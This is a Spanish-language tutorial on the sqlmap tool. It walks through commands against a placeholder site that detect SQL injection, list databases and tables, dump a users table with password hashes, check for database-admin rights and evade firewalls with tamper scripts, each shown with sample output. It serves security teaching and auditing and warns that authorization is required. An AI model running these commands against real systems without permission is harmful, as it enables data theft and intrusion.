SQLMap
🛡️ SQLmap: Detección y Explotación de Inyecciones SQL
SQLmap es una herramienta automatizada diseñada para identificar y explotar vulnerabilidades de inyección SQL en aplicaciones web. Ofrece la capacidad de enumerar bases de datos, tablas y datos, así como obtener credenciales y más.
🕵️♂️ ¿Qué puede hacer SQLmap?
📜 Detección de vulnerabilidades SQL: Prueba sitios web en busca de inyecciones SQL.
💾 Enumeración de bases de datos: Lista bases de datos, tablas y columnas.
🔑 Obtención de credenciales: Extrae usuarios y contraseñas.
🎯 Explotación avanzada: Realiza consultas personalizadas, obtiene hashes, y más.
🛠️ Bypass de WAF: Evita sistemas de seguridad web para probar la robustez del sistema.
🚀 Instalación
SQLmap viene preinstalado en distribuciones como Kali Linux. Si necesitas instalarlo:
Clonar desde GitHub:
git clone <https://github.com/sqlmapproject/sqlmap.git> cd sqlmap
Ejecuta SQLmap:
python3 sqlmap.py
📌 Ejemplos Prácticos con Código
1️⃣ Escaneo Básico
Identifica vulnerabilidades de inyección SQL en una URL.
sqlmap -u "<http://example.com/product.php?id=1>"
✅ Explicación:
u
: Define la URL objetivo.
✅ Salida esperada:
[INFO] the target is vulnerable
2️⃣ Enumerar Bases de Datos
Lista las bases de datos disponibles en el sistema.
sqlmap -u "<http://example.com/product.php?id=1>" --dbs
✅ Salida esperada:
available databases [2]:
[*] information_schema
[*] example_db
3️⃣ Enumerar Tablas de una Base de Datos
Lista las tablas de una base de datos específica.
sqlmap -u "<http://example.com/product.php?id=1>" -D example_db --tables
✅ Salida esperada:
Database: example_db
[3 tables]
[*] users
[*] orders
[*] products
4️⃣ Extraer Datos de una Tabla
Obtén datos específicos de una tabla.
sqlmap -u "<http://example.com/product.php?id=1>" -D example_db -T users --dump
✅ Salida esperada:
Database: example_db
Table: users
[3 entries]
| id | username | password |
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
5️⃣ Obtener Credenciales del Sistema 🔐
Extrae las credenciales del sistema operativo subyacente.
sqlmap -u "<http://example.com/product.php?id=1>" --is-dba --current-user
✅ Salida esperada:
[INFO] current user is DBA: True
[INFO] current user: 'root'
6️⃣ Bypass de WAF o Firewall 🛡️
SQLmap incluye técnicas para evadir firewalls.
sqlmap -u "<http://example.com/product.php?id=1>" --tamper=space2comment
✅ Explicación:
-tamper=space2comment
: Usa técnicas de evasión para evitar filtros.
⚙️ Opciones Útiles
Definir cookies:
sqlmap -u "<http://example.com/product.php?id=1>" --cookie="PHPSESSID=abcd1234"
Especificar método HTTP:
sqlmap -u "<http://example.com/product.php>" --method POST --data "id=1"
Forzar el DBMS:
sqlmap -u "<http://example.com/product.php?id=1>" --dbms=mysql
Guardar resultados:
sqlmap -u "<http://example.com/product.php?id=1>" --output-dir=/ruta/a/resultados/
🌟 Mejores Prácticas
Pruebas éticas: Solo ejecuta SQLmap en sistemas con autorización explícita.
Configura tiempos de espera: Evita bloquear el servidor con
-timeout 10
.Usa evasión avanzada: Experimenta con múltiples scripts
-tamper
para bypass de WAFs.Complementa con herramientas: Usa Burp Suite para capturar y enviar peticiones a SQLmap.
🚨 Advertencia
SQLmap es una herramienta poderosa y debe usarse únicamente con permiso. El uso indebido puede tener graves consecuencias legales.
🤓 Conclusión
SQLmap es una herramienta esencial para la detección y explotación de inyecciones SQL. Su facilidad de uso y versatilidad la convierten en un pilar de cualquier auditoría de seguridad. 🌐
Última actualización
¿Te fue útil?